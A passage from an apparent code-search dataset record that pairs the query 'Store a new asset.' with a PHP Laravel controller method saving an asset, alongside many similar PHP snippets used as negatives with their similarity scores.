request(\"payment_cycle\",\"\");\n\t\t$assetType \t\t= request(\"asset_type\",\"\");\n\t\t$purchaseType \t= request(\"purchase_type\",\"\");\n\t\t\n\t\t$assets = new AssetsManager;\n\t\t\n\t\tif(!empty($search)) {\n\t\t\t$assets = $assets->where(function($q) use($search) {\n\t\t\t\t$q->where(\"name\",\"LIKE\",\"%\".$search.\"%\")->orWhere(\"provider_name\",\"LIKE\",\"%\".$search.\"%\");\n\t\t\t});\n\t\t}\n\n\t\tif(!empty($paymentCycle)) {\n\t\t\t$assets = $assets->where(\"payment_cycle\",$paymentCycle);\n\t\t}\n\n\t\tif(!empty($assetType)) {\n\t\t\t$assets = $assets->where(\"asset_type\",$assetType);\n\t\t}\n\n\t\tif(!empty($purchaseType)) {\n\t\t\t$assets = $assets->where(\"purchase_type\",$purchaseType);\n\t\t}\t\t\n\n\t\t$assets = $assets->paginate(10);\n\t\t\n\treturn view('assets-manager.index',compact('assets', 'category'))\n\t\t\t->with('i', ($request->input('page', 1) - 1) * 10);\n\t}", "public static function allBundles(): Collection;", "public function assets() {\n\t\tif ($this->assetsLoaded) {\n\t\t\treturn '';\n\t\t}\n\t\t$this->assetsLoaded = true;\n\t\treturn ''.\n\t\t\t$this->Html->script($this->assetsPath . 'bootstrap-typeahead.js', $this->assetsOptions);\n\t}", "public static function all(): array\n {\n $it = new DirectoryIterator(plugins_path('/summer/login/skins'));\n $it->rewind();\n $result = [];\n foreach ($it as $fileinfo) {\n if (!$fileinfo->isDir() || $fileinfo->isDot()) {\n continue;\n }\n $theme = static::load($fileinfo->getFilename());\n $result[] = $theme;\n }\n return $result;\n }", "public function getJavascripts()\n {\n return array('/sfAssetsLibraryPlugin/js/main');\n }", "protected function loadAssets()\n {\n }", "protected function getAssets(string $sType): array\n {\n if ($sType === static::ASSETS_EDITOR) {\n return $this->assets_editor;\n\n } elseif ($sType === static::ASSETS_RENDER) {\n return $this->assets_render;\n }\n\n return [];\n }", "public static function list () {\n // Retrieve account resources.\n $accounts = Json::get('account', null);\n\n // If account resource is not avaiable, internal server error.\n if ($accounts == 1)\n return 1;\n\n // Return accounts.\n return $accounts;\n }", "static function getList()\n {\n $out = array();\n\n if ($dh = opendir(__DIR__ . '/../img/')) {\n while (($file = readdir($dh)) !== false) {\n if (substr($file, -4) === '.jpg') {\n $filename = substr($file, 0, -4);\n $out[$filename] = realpath(__DIR__ . '/../img/' . $file);\n }\n }\n\n closedir($dh);\n }\n\n return $out;\n }", "protected function getAllStaticFiles()\n {\n $dir = $this->dirList->getPath('static');\n $js = [];\n $css = [];\n $this->getDirContents($dir, $js, $css);\n $result = [self::A_JS => $js, self::A_CSS => $css];\n return $result;\n }", "public function getResources(): array\n {\n return $this->resources;\n }", "public function getPluginAssets() {\n\t\t$event = $this->Controller->Event->trigger('requireJavascriptToLoad', $this->Controller->params);\n\t\tif (isset($event['requireJavascriptToLoad']['Assets'])) {\n\t\t\t$libs['Assets'] = $event['requireJavascriptToLoad']['Assets'];\n\t\t\t$event['requireJavascriptToLoad'] = $libs + $event['requireJavascriptToLoad'];\n\t\t}\n\n\t\tif (is_array($event) && !empty($event)) {\n\t\t\t$this->Controller->addJs(current($event));\n\t\t}\n\n\t\t$libs = array();\n\t\t$event = $this->Controller->Event->trigger('requireCssToLoad', $this->Controller->params);\n\t\tif (isset($event['requireCssToLoad']['Libs'])) {\n\t\t\t$libs['Libs'] = $event['requireCssToLoad']['Libs'];\n\t\t\t$event['requireCssToLoad'] = $libs + $event['requireCssToLoad'];\n\t\t}\n\n\t\tif (is_array($event) && !empty($event)) {\n\t\t\t$this->Controller->addCss(current($event));\n\t\t}\n\t}", "public function routeAssets() {\n\t\t$url = $this->config->getRequired('assets.url');\n\t\t//add a slash if the given url doesn't start or end with one\n\t\tif(substr($url, 0, 1) !== '/') {\n\t\t\t$url = '/' . $url;\n\t\t}\n\t\tif(substr($url, -1, 1) !== '/') {\n\t\t\t$url .= '/';\n\t\t}\n\t\t$url = $url . ':asset';\n\t\t$route = new Route($url);\n\t\t$route->controller('\\\\Neptune\\\\Controller\\\\AssetsController')\n\t\t\t ->method('serveAsset')\n\t\t\t ->format('any')\n\t\t\t ->argsRegex('.+');\n\t\t$this->routes[$url] = $route;\n\t\t$this->names['neptune.assets'] = $url;\n\t\treturn $this->routes[$url];\n\t}", "public function index()\n {\n $albums = Album::where('status', 'published')->where('album_id', NULL)->get();\n $tempArr = [];\n\n foreach ($albums as $item) {\n\n array_push(\n $tempArr,\n [\n 'name' => $item->name,\n\n 'biliner' => $item->biliner,\n 'slug' => $item->slug,\n 'album_id' => $item->album_id,\n 'status' => $item->status,\n 'album_imgUrl' => $item->getFirstMediaUrl('covers', 'cover'),\n\n ]\n );\n }\n\n return $tempArr;\n }", "public function get_all_archives() {\n\t\t\t\n\t\t\t$archives = TableRegistry::get('Administrator.Archives');\n\n\t\t\t$imagesConditions = [ 'AND' => [\n\t\t\t\t\t\t\t\t\t [\n\t\t\t\t\t\t\t\t\t\t\t 'OR' => [\n\t\t\t\t\t\t\t\t\t\t\t\t ['mimetype' => 'image/png'],\n\t\t\t\t\t\t\t\t\t\t\t\t ['mimetype' => 'image/jpeg'],\n\t\t\t\t\t\t\t\t\t\t\t\t ['mimetype' => 'image/jpg'],\n\t\t\t\t\t\t\t\t\t\t\t\t ['mimetype' => 'image/gif'],\n\t\t\t\t\t\t\t\t\t\t\t\t ['mimetype' => 'application/stream'],\n\t\t\t\t\t\t\t\t\t\t\t\t ['mimetype' => 'application/pdf'],\n\t\t\t\t\t\t\t\t\t \t\t\t]\n\t\t\t\t\t\t\t\t\t \t],\n\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t \t]\n\t\t\t\t\t\t\t\t];\n\n\n\t\t\t//$this->set('images', $archives->find('all', ['conditions' => $imagesConditions]) );\n\t\t\treturn $archives->find('all', ['conditions' => $imagesConditions, 'order' => ['id' => 'DESC'] ]);\n\n\t}", "function get_all_media() {\n\t\treturn $this->mediaFiles;\n\t}", "public function get_video_assets()\n {\n $blogAssets = [];\n\n $blogEntryAssetVideos = $this->get_video_entry_assets();\n\n foreach ($blogEntryAssetVideos as $blogEntryAssetVideo) {\n $blogAssets[] = $blogEntryAssetVideo->asset;\n }\n\n return $blogAssets;\n }", "public function index() {\n $asistencias = Asistencia::all()->toJson();\n return $asistencias;\n }", "public function getList() {\n\t\treturn Cgn_Module_Manager_File::getListStatic();\n\t}", "private function getAssets(Task $task)\n {\n $assets = [];\n foreach($task->taskassets as $taskasset)\n {\n array_push($assets, $taskasset->asset);\n }\n return $assets;\n }", "public function getAssets(): ?UserActivityAssets\n {\n return $this->assets;\n }", "public function assetTypes(): array\n {\n $assets = [];\n\n foreach ($this->read(['swf', 'tags', 'item']) as $item) {\n // @todo add other tags\n switch ((string) $item['type']) {\n case 'DefineShapeTag':\n case 'DefineShape2Tag':\n case 'DefineShape3Tag':\n $assets[(int) $item['shapeId']] = Export::ITEM_TYPE_SHAPE;\n break;\n\n case 'DefineSpriteTag':\n $assets[(int) $item['spriteId']] = Export::ITEM_TYPE_SPRITE;\n break;\n\n case 'DefineSoundTag':\n $assets[(int) $item['soundId']] = Export::ITEM_TYPE_SOUND;\n break;\n\n case 'DefineBitsJPEG3Tag':\n $assets[(int) $item['characterID']] = Export::ITEM_TYPE_IMAGE;\n break;\n }\n }\n\n return $assets;\n }", "public function index()\n {\n $fixed_assets = FixedAssets::all();\n return view('fixed-assets.index', compact('fixed_assets'));\n }", "public function index()\n {\n return view('public.brands.index', [\n 'brands' => Brand::with('files')->get(),\n ]);\n }", "public function index()\n {\n $paths = Storage::disk('s3')->files('blog/');\n foreach($paths as $path) {\n $out[] = [\n 'url' => config('app.static_url') . '/' . $path\n ];\n }\n return $out;\n }", "public function addAdminAssets() {}", "public function index()\n {\n $items = Item::with([\n 'gender:id,name',\n 'type:id,name',\n 'supplier:id,name',\n 'image',\n ])->get()->toArray();\n return $items;\n }", "public function getAssets(Application $application, $type)\n {\n $refs = array();\n foreach ($this->configServices as $subTypeService) {\n $typeRefs = $subTypeService->getAssets($application, $type);\n if ($typeRefs) {\n $refs = array_merge($refs, $typeRefs);\n }\n }\n return $refs;\n }", "public function Images() {\n\t\treturn new ArrayList(array_filter([$this->Image()]));\n\t}", "public static function assetProvider() {\n\t\treturn array(\n\t\t\tarray(\n\t\t\t\t'theme/test_theme/flash/theme_test.swf',\n\t\t\t\t'TestApp/Template/Themed/TestTheme/webroot/flash/theme_test.swf'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'theme/test_theme/pdfs/theme_test.pdf',\n\t\t\t\t'TestApp/Template/Themed/TestTheme/webroot/pdfs/theme_test.pdf'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'theme/test_theme/img/test.jpg',\n\t\t\t\t'TestApp/Template/Themed/TestTheme/webroot/img/test.jpg'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'theme/test_theme/css/test_asset.css',\n\t\t\t\t'TestApp/Template/Themed/TestTheme/webroot/css/test_asset.css'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'theme/test_theme/js/theme.js',\n\t\t\t\t'TestApp/Template/Themed/TestTheme/webroot/js/theme.js'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'theme/test_theme/js/one/theme_one.js',\n\t\t\t\t'TestApp/Template/Themed/TestTheme/webroot/js/one/theme_one.js'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'theme/test_theme/space%20image.text',\n\t\t\t\t'TestApp/Template/Themed/TestTheme/webroot/space image.text'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'test_plugin/root.js',\n\t\t\t\t'Plugin/TestPlugin/webroot/root.js'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'test_plugin/flash/plugin_test.swf',\n\t\t\t\t'Plugin/TestPlugin/webroot/flash/plugin_test.swf'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'test_plugin/pdfs/plugin_test.pdf',\n\t\t\t\t'Plugin/TestPlugin/webroot/pdfs/plugin_test.pdf'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'test_plugin/js/test_plugin/test.js',\n\t\t\t\t'Plugin/TestPlugin/webroot/js/test_plugin/test.js'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'test_plugin/css/test_plugin_asset.css',\n\t\t\t\t'Plugin/TestPlugin/webroot/css/test_plugin_asset.css'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'test_plugin/img/cake.icon.gif',\n\t\t\t\t'Plugin/TestPlugin/webroot/img/cake.icon.gif'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'plugin_js/js/plugin_js.js',\n\t\t\t\t'Plugin/PluginJs/webroot/js/plugin_js.js'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'plugin_js/js/one/plugin_one.js',\n\t\t\t\t'Plugin/PluginJs/webroot/js/one/plugin_one.js'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'test_plugin/css/unknown.extension',\n\t\t\t\t'Plugin/TestPlugin/webroot/css/unknown.extension'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'test_plugin/css/theme_one.htc',\n\t\t\t\t'Plugin/TestPlugin/webroot/css/theme_one.htc'\n\t\t\t),\n\t\t);\n\t}" ]
[ "0.8100875", "0.80230165", "0.8016524", "0.79783535", "0.78162605", "0.78162605", "0.7748213", "0.7685755", "0.76730025", "0.76420665", "0.75763917", "0.74352086", "0.737339", "0.7333998", "0.7240099", "0.7178343", "0.7155316", "0.7119871", "0.71034145", "0.6957274", "0.6940705", "0.69398975", "0.6901318", "0.688273", "0.6847435", "0.6724558", "0.6649207", "0.6645419", "0.6642056", "0.66180485", "0.6589186", "0.65693706", "0.6564861", "0.6559439", "0.6546755", "0.6513587", "0.6504756", "0.6482605", "0.6434253", "0.6399911", "0.6392374", "0.6359521", "0.63586056", "0.632795", "0.632795", "0.63230896", "0.63206834", "0.6283488", "0.62547255", "0.625094", "0.62499434", "0.617418", "0.6169484", "0.6125674", "0.6099604", "0.60757136", "0.607315", "0.6058253", "0.6057453", "0.60485333", "0.60175526", "0.60144436", "0.601355", "0.59980845", "0.5993584", "0.5975743", "0.5929919", "0.59268326", "0.5920287", "0.59195733", "0.5887532", "0.586506", "0.584332", "0.58221406", "0.58192414", "0.5814476", "0.57883775", "0.57860875", "0.57645684", "0.5761058", "0.57415706", "0.5733757", "0.57225037", "0.57162243", "0.5670657", "0.5658767", "0.5648689", "0.5648482", "0.5646168", "0.564506", "0.5635206", "0.5621579", "0.5619664", "0.5613049", "0.56089354", "0.5606579", "0.5605385", "0.5604913", "0.5603133", "0.55999255" ]
0.5898149
70
Store a new asset.
public function store(Request $request) { $user = Auth::user(); if (!$user->can('asset-create')) { return response()->json(['error' => 'Unauthorised'], $this->unauthorized); } $this->validate($request, [ 'name' => 'required', 'ticker' => 'required', 'holding' => 'required', 'marketValue' => 'required', 'delta' => 'required', 'profit' => 'required', 'returnCurrency' => 'required', 'returnPercent' => 'required', 'typeId' => 'required', 'sectorId' => 'required', 'tradingBlockId' => 'required', 'countryId' => 'required' ]); $type = Type::find($request->get('typeId')); $sector = Sector::find($request->get('sectorId')); $tradingBlock = TradingBlock::find($request->get('tradingBlockId')); $country = Country::find($request->get('countryId')); $asset = new Asset(); $asset->name = $request->get('name'); $asset->ticker = $request->get('ticker'); $asset->holding = $request->get('holding'); $asset->market_value = $request->get('marketValue'); $asset->delta = $request->get('delta'); $asset->profit = $request->get('profit'); $asset->return_currency = $request->get('returnCurrency'); $asset->return_percent = $request->get('returnPercent'); $asset->type()->associate($type); $asset->sector()->associate($sector); $asset->trading_block()->associate($tradingBlock); $asset->country()->associate($country); $asset->save(); return response()->json(['success' => 'created', 'record' => $asset], $this->sucessStatus); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function store(AssetRequest $request)\n {\n $asset = new Asset($request->all());\n $asset->save()->saveImage();\n \n flash()->success('Success!', 'Asset has been created!');\n return redirect('assets');\n }", "public function store(AssetRequest $request)\n {\n $asset = $this->asset->newInstance();\n\n $asset->user_id = $this->guard->id();\n $asset->tag = $request->input('tag');\n $asset->category_id = $request->input('category');\n $asset->location_id = $request->input('location');\n $asset->name = $request->input('name');\n $asset->condition = $request->input('condition');\n $asset->vendor = $request->input('vendor');\n $asset->make = $request->input('make');\n $asset->model = $request->input('model');\n $asset->size = $request->input('size');\n $asset->weight = $request->input('weight');\n $asset->serial = $request->input('serial');\n $asset->acquired_at = $request->formatDateWithTime($request->input('acquired_at'));\n $asset->end_of_life = $request->formatDateWithTime($request->input('end_of_life'));\n\n return $asset->save();\n }", "public function store(StoreOrUpdateAsset $request)\n {\n $file = $request->file('file');\n $path = $file->store('assets');\n\n if (!$path) {\n abort(500);\n }\n\n $asset = new Asset([\n 'model' => 'Asset',\n 'name' => $file->getClientOriginalName(),\n 'size' => $file->getSize(),\n 'type' => $file->getMimeType(),\n 'path' => $path\n ]);\n\n if ($asset->save()) {\n flash('The asset has been saved.')->success();\n } else {\n abort(500);\n }\n\n return redirect('/admin/assets');\n }", "public function persist()\n {\n $asset = Asset::create($this->only([\n 'school_id', 'category_id', 'type_id', 'name', 'tag', 'serial_number',\n 'make', 'model', 'processor', 'memory', 'storage', 'operating_system',\n 'warranty', 'notes'\n ]));\n\n if ($asset->wasRecentlyCreated) {\n Finance::create([\n 'asset_id' => $asset->id,\n 'accounting_start' => $this->accounting_start,\n 'accounting_end' => $this->accounting_end,\n 'purchase_date' => $this->purchase_date,\n 'end_of_life' => $this->end_of_life,\n 'purchase_cost' => $this->purchase_cost,\n 'current_value' => $this->current_value,\n 'depreciation' => $this->depreciation,\n 'net_book_value' => $this->net_book_value,\n ]);\n }\n\n return $asset;\n }", "public function store()\n {\n // dd($this->request->all());\n Asset::create(\n $this->request->except('_token')\n );\n return Redirect::route('asset.index')->with('success','Asset successfully added.');\n }", "public function testStoreAsset()\n {\n // 1. Create mock\n $admin = $this->admin;\n\n $data = [\n 'name' => 'Jabar Command Center',\n 'status' => 'active',\n 'description' => 'JDS Team',\n 'capacity' => 100,\n 'resource_type' => 'online'\n ];\n\n // 2. Hit Api Endpoint\n $response = $this->actingAs($admin)->post(route('asset.store'), $data);\n\n // 3. Verify and Assertion\n $response->assertStatus(Response::HTTP_CREATED);\n }", "public function add_asset(Request $request){\n \t\tif(!Auth::user()){\n\t\t\treturn redirect('/');\n\t\t}\n \t\t$storage = new Storage;\n \t\t$storage->name = $request->name;\n \t\t$storage->quantity = $request->quantity;\n \t\t$storage->category_id = $request->category;\n \t\t$image = $request->file('image');\n\t\t$image_name = time() . \".\" . $image->getClientOriginalExtension();\n\t\t$destination = \"images/\";\n\t\t$storage->image_url = $image->move($destination, $image_name);\n\t\t$storage->save();\n\t\tsession()->flash('success_message', 'Item Added successfully');\n\t\treturn redirect('/storage');\n \t}", "public function store(Request $request)\n {\n $this->validate(request(), [\n 'longitude' => 'required|numeric',\n 'latitude' => 'required|numeric',\n 'building' => 'required|string|exists:buildings,id',\n 'regionID' => 'string|required|exists:regions,id',\n 'name' => 'required',\n 'category' => 'required|string|exists:categories,id',\n 'department' => 'nullable|exists:departments,id',\n 'width' => 'nullable|numeric',\n 'height' => 'nullable|numeric',\n 'color' => 'nullable',\n 'material' => 'nullable',\n 'image' => 'required|image',\n 'specs' => 'json'\n ]);\n\n $specs = request('specs');\n\n try {\n $path = $request->file('image')->store(\n 'images/', 'public'\n );\n }\n catch(Exception $e) {\n \\Session::flash('flash_deleted',request('name') . ' Error uploading file');\n return redirect('/admin/assets');\n }\n\n $asset = new Asset();\n $location = new Location();\n\n $specification = $specs;\n\n $location->longitude = request('longitude');\n $location->latitude = request('latitude');\n $location->building_id = request('building');\n $location->asset_id = 0;\n $location->region_id = request('regionID');\n $location->save();\n $locationID = $location->id;\n\n $asset->cat_id = request('category');\n $asset->name = request('name');\n $asset->location_id = $locationID;\n if($request->department == null) {\n $asset->department_id = null;\n }\n else {\n $asset->department_id = $request->department;\n }\n\n $asset->specifications = $specification;\n $asset->latest_image = $path;\n $asset->save();\n\n $location->asset_id = $asset->id;\n\n $location->save();\n\n ProcessImage::dispatch($path, 500, 60);\n \\Session::flash('flash_created',request('name') . ' has been created');\n return redirect('/admin/assets');\n\n\n }", "public function store(Request $request)\n {\n $this->validate($request, [\n 'click_url' => 'required|url',\n 'end_date' => 'required|date',\n 'image' => 'required|image'\n ]);\n\n $fileURL = $request->file('image')->storePublicly('advst', 's3');\n\n $input = $request->all();\n\n $input['url'] = $fileURL;\n\n Advertisement::create($input);\n\n flash()->success('Ad added successfully');\n\n return redirect()->route('adverts.index');\n }", "public function store(Request $request)\n {\n $this->validate($request, [\n 'name'=>'required|unique:assets',\n 'image'=>'required|max:70|mimes:jpeg,jpg'\n ]);\n // |dimensions:min_width=1500,min_height=750,ratio=4/3\n\n if ($request->file('image')->isValid()){\n // store original size with hashed name\n $imagePath = $request->file('image')->store('public');\n $imageName = explode('/',$imagePath)[1];\n\n // create and store thumbnail file\n $thumbnail = Image::make(Storage::get($imagePath))->resize(200,150)->encode();\n $thumbnailPath = explode('/',$imagePath)[1];\n $thumbnailPath = explode('.',$imagePath)[0];\n $thumbnailExtension = explode('.',$imagePath)[1];\n $thumbnailPath = $thumbnailPath.'-th.'.$thumbnailExtension;\n Storage::put($thumbnailPath, $thumbnail);\n $thumbnailName = explode('/',$thumbnailPath)[1];\n\n // Storage::delete($imagePath);\n // Storage::delete($thumbnailPath);\n $asset = new Asset;\n $asset->name = $request->name;\n $asset->thumbnail_path = $thumbnailName;\n $asset->image_path = $imageName;\n $asset->created_by = Auth::user()->email;\n $asset->updated_by = Auth::user()->email;\n $insert = $asset->save();\n session()->flash('message', 'Inserted successfully');\n return redirect('admin/asset');\n }\n }", "public function store(StoreAssetTaskRequest $request): RedirectResponse\n {\n $this->authorize('create-asset-task');\n\n $asset_task = new \\App\\Models\\AssetTask;\n\n $asset_task->asset_id = $request->input('asset_id');\n $asset_task->title = $request->input('title');\n $asset_task->start_date = $request->input('start_date');\n $asset_task->scheduled_until_date = $request->input('scheduled_until_date');\n $asset_task->frequency_interval = $request->input('frequency_interval');\n $asset_task->frequency = $request->input('frequency');\n $asset_task->frequency_month = $request->input('frequency_month');\n $asset_task->frequency_day = $request->input('frequency_day');\n $asset_task->frequency_time = $request->input('frequency_time');\n $asset_task->description = $request->input('description');\n $asset_task->priority_id = $request->input('priority_id');\n $asset_task->needed_labor_minutes = $request->input('needed_labor_minutes');\n $asset_task->estimated_labor_cost = $request->input('estimated_labor_cost');\n $asset_task->needed_material = $request->input('needed_material');\n $asset_task->estimated_material_cost = $request->input('estimated_material_cost');\n $asset_task->vendor_id = $request->input('vendor_id');\n $asset_task->category = $request->input('category');\n $asset_task->tag = $request->input('tag');\n\n $asset_task->save();\n\n flash('Asset Task: <a href=\"'.url('/asset_task/'.$asset_task->id).'\">'.$asset_task->asset_name.': '.$asset_task->title.'</a> added')->success();\n\n return Redirect::action([self::class, 'index']);\n }", "function createAsset( $asset=null, $block_index=null ){\n global $mysqli, $counterparty;\n // Get current information on this asset\n $info = $counterparty->execute('get_asset_info', array('assets' => array($asset)));\n // Create data object using asset info (if any)\n $data = (count($info)) ? (object) $info[0] : (object) [];\n $description = substr($data->description,0,250); // Truncate to 250 chars\n $data->asset_id = getAssetId($asset);\n $data->issuer_id = createAddress($data->issuer);\n $data->owner_id = createAddress($data->owner);\n $data->divisible = ($data->divisible) ? 1 : 0; // convert to boolean\n $data->locked = ($data->locked) ? 1 : 0 ; // convert to boolean\n $data->supply = intval($data->supply);\n $data->description = $mysqli->real_escape_string($description);\n $data->asset_longname = $mysqli->real_escape_string($data->asset_longname);\n // Set asset type (1=Named, 2=Numeric, 3=Subasset, 4=Failed issuance)\n $data->type = (substr($asset,0,1)=='A') ? 2 : 1;\n if($data->asset_longname!='')\n $data->type = 3;\n if(count($info)==0)\n $data->type = 4;\n // Force numeric values for special assets\n if(in_array($data->asset, array('XCP','BTC'))){\n $data->issuer_id = 0;\n $data->owner_id = 0;\n }\n // Check if this asset already exists\n $results = $mysqli->query(\"SELECT id FROM assets WHERE asset='{$asset}' LIMIT 1\");\n if($results){\n if($results->num_rows){\n // Update asset information\n $row = $results->fetch_assoc();\n $id = $row['id'];\n $sql = \"UPDATE assets SET\n asset_id = '{$data->asset_id}',\n asset_longname = '{$data->asset_longname}',\n divisible = '{$data->divisible}',\n description = '{$data->description}',\n issuer_id = '{$data->issuer_id}',\n owner_id = '{$data->owner_id}',\n locked = '{$data->locked}',\n type = '{$data->type}',\n supply = '{$data->supply}'\n WHERE\n id='{$id}'\";\n $results = $mysqli->query($sql);\n if($results){\n return $id;\n } else {\n byeLog('Error while trying to update asset record for ' . $asset . ' : ' . $sql);\n }\n } else {\n // Create asset information\n $sql = \"INSERT INTO assets (asset_id, asset, asset_longname, block_index, type, divisible, description, issuer_id, locked, owner_id, supply) values (\n '{$data->asset_id}',\n '{$asset}',\n '{$data->asset_longname}',\n '{$block_index}',\n '{$data->type}',\n '{$data->divisible}',\n '{$data->description}',\n '{$data->issuer_id}',\n '{$data->locked}',\n '{$data->owner_id}',\n '{$data->supply}')\";\n $results = $mysqli->query($sql);\n if($results){\n return $mysqli->insert_id;\n } else {\n byeLog('Error while trying to create asset record for ' . $asset);\n }\n }\n } else {\n byeLog('Error while trying to lookup asset record');\n }\n}", "public function store($updateNulls = false)\n\t{\t\t\n\t\t// always an insert\t\t\n\t\t$stored = $this->_db->insertObject($this->_tbl, $this, $this->_tbl_key);\n\n\t\t// If the store failed return false.\n\t\tif (!$stored)\n\t\t{\n\t\t\t$e = new JException(JText::sprintf('JLIB_DATABASE_ERROR_STORE_FAILED', get_class($this), $this->_db->getErrorMsg()));\n\t\t\t$this->setError($e);\n\t\t\treturn false;\n\t\t}\n\n\t\t// If the table is not set to track assets return true.\n\t\tif (!$this->_trackAssets) {\n\t\t\treturn true;\n\t\t}\n\n\t\tif ($this->_locked) {\n\t\t\t$this->_unlock();\n\t\t}\n\n\t\t//\n\t\t// Asset Tracking\n\t\t//\n\n\t\t$parentId\t= $this->_getAssetParentId();\n\t\t$name\t\t= $this->_getAssetName();\n\t\t$title\t\t= $this->_getAssetTitle();\n\n\t\t$asset\t= JTable::getInstance('Asset');\n\t\t$asset->loadByName($name);\n\n\t\t// Check for an error.\n\t\tif ($error = $asset->getError())\n\t\t{\n\t\t\t$this->setError($error);\n\t\t\treturn false;\n\t\t}\n\n\t\t// Specify how a new or moved node asset is inserted into the tree.\n\t\tif (empty($this->asset_id) || $asset->parent_id != $parentId) {\n\t\t\t$asset->setLocation($parentId, 'last-child');\n\t\t}\n\n\t\t// Prepare the asset to be stored.\n\t\t$asset->parent_id\t= $parentId;\n\t\t$asset->name\t\t= $name;\n\t\t$asset->title\t\t= $title;\n\t\tif ($this->_rules instanceof JRules) {\n\t\t\t$asset->rules = (string) $this->_rules;\n\t\t}\n\n\t\tif (!$asset->check() || !$asset->store($updateNulls))\n\t\t{\n\t\t\t$this->setError($asset->getError());\n\t\t\treturn false;\n\t\t}\n\n\t\tif (empty($this->asset_id))\n\t\t{\n\t\t\t// Update the asset_id field in this table.\n\t\t\t$this->asset_id = (int) $asset->id;\n\n\t\t\t$query = $this->_db->getQuery(true);\n\t\t\t$query->update($this->_db->quoteName($this->_tbl));\n\t\t\t$query->set('asset_id = '.(int) $this->asset_id);\n\t\t\t$query->where($this->_db->quoteName($k).' = '.(int) $this->$k);\n\t\t\t$this->_db->setQuery($query);\n\n\t\t\tif (!$this->_db->query())\n\t\t\t{\n\t\t\t\t$e = new JException(JText::sprintf('JLIB_DATABASE_ERROR_STORE_FAILED_UPDATE_ASSET_ID', $this->_db->getErrorMsg()));\n\t\t\t\t$this->setError($e);\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\n\t\treturn true;\n\t}", "public function store(Request $request)\n {\n //\n $request->validate([\n 'serial_number' => 'required',\n 'asset_old' => 'required',\n 'asset_new' => 'required',\n 'team' => 'required',\n 'location' => 'required',\n 'pic' => 'required'\n ]);\n DB::beginTransaction();\n try {\n //code...\n Assets::create([\n 'serial_number' => $request->serial_number,\n 'asset_old' => $request->asset_old,\n 'asset_new' => $request->asset_new,\n 'status' => $request->status,\n 'team' => $request->team,\n 'location' => $request->location,\n 'pic' => $request->pic,\n 'label' => $request->label,\n 'ad_join' => $request->ad,\n 'drm' => $request->drm,\n 'antivirus' => $request->antivirus,\n 'hw' => $request->hw,\n 'power' => $request->power,\n 'remarks' => $request->remarks,\n 'created_by' => Auth::user()->name\n ]);\n DB::commit();\n } catch (\\Throwable $th) {\n //throw $th;\n DB::rollback();\n }\n return redirect()->route('assets.index')->with(['success'=>'Data has been saved']);\n //return $request->ad;\n }", "public function actionCreate()\n {\n $model = new Asset();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->Id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "public function addAsset() {\n try {\n if (!($this->asset instanceof Base_Model_ObtorLib_App_Core_Asset_Entity_Asset)) {\n throw new Base_Model_ObtorLib_App_Core_Asset_Exception(\" Asset Asset Entity not initialized\");\n } else {\n $objAsset = new Base_Model_ObtorLib_App_Core_Asset_Dao_Asset();\n $objAsset->asset = $this->asset;\n return $objAsset->addAsset();\n }\n } catch (Exception $ex) {\n throw new Base_Model_ObtorLib_App_Core_Asset_Exception($ex);\n }\n }", "public function store(){\n $validateactualite = $this->validate([\n 'titre'=>'required',\n 'sous_titre'=>'required',\n 'descri'=>'required'\n ]);\n $this->validate([\n 'photo'=>'required'\n ]);\n $record = actualite::create($validateactualite);\n $this->photo->storePubliclyAs('public/actualite/', $record->id.'.png');\n //$this->photos[$index]->storePubliclyAs('public/galleries/', $data->id.'.png' );\n session()->flash('message', 'actualite enregistré avec succès');\n $this->emit('Added');\n $this->dispatchBrowserEvent('Added');\n $this->resetFields();\n }", "public function store(Request $request)\n {\n $request->validate([\n 'nama' => 'required',\n 'barcode' => 'required'\n ]);\n\n # Dapatkan data dari borang\n $data = $request->all();\n # Simpan data ke dalam table assets\n # DB::table('assets')->insert($data);\n Asset::create($data);\n\n # Beri respon kembali ke senarai assets\n return redirect()->route('assets.index')->with('alert-success', 'Rekod telah berjaya ditambah.');\n }", "public function entitySave($entity) {\n farm_asset_save($entity);\n }", "public function store(AssetConditionStore $request)\n {\n $this->conditionService->store($request->except(['_token']));\n\n return redirect('asset-condition')->with($this->getMessage('store'));\n }", "public function store(Request $request)\n {\n\n\n $this->validateInput($request,[\n\n\n\n ]);\n Port_Asset::create([\n 'port_type_id' => $request['port_type_id'],\n 'asset_type_id' => $request['asset_type_id'],\n 'description' => $request['description']\n\n ]);\n\n\n return redirect ('admin/port-asset');\n }", "public function add($name)\n\t{\n\t\tif ( ! isset($this->assets[$name]))\n\t\t{\n\t\t\t$this->assets[$name] = new Asset($this->type, $name, $this, $this->app);\n\t\t}\n\t}", "public function store(Request $request)\n {\n $store = new Article;\n\n $store->date = $request->date;\n $store->titre = $request->titre;\n $store->auteur = $request->auteur;\n $store->texte = $request->texte;\n $store->image = $request->file('image')->hashName();\n\n $store->save();\n $request->file('image')->storePublicly('images', 'public');\n return redirect()->back();\n }", "public function store(Request $request)\n {\n \\Validator::make($request->all(), [\n 'judul' => 'required|max:225|unique:artikel',\n 'deskripsi' => 'required',\n 'tanggal' => 'required',\n 'gambar' => 'required|mimes:jpg,jpeg,png|max:1024',\n ])->validate();\n $new_artikel = new artikel;\n $new_artikel->user_id = Auth::user()->id;\n $new_artikel->judul = $request->get('judul');\n 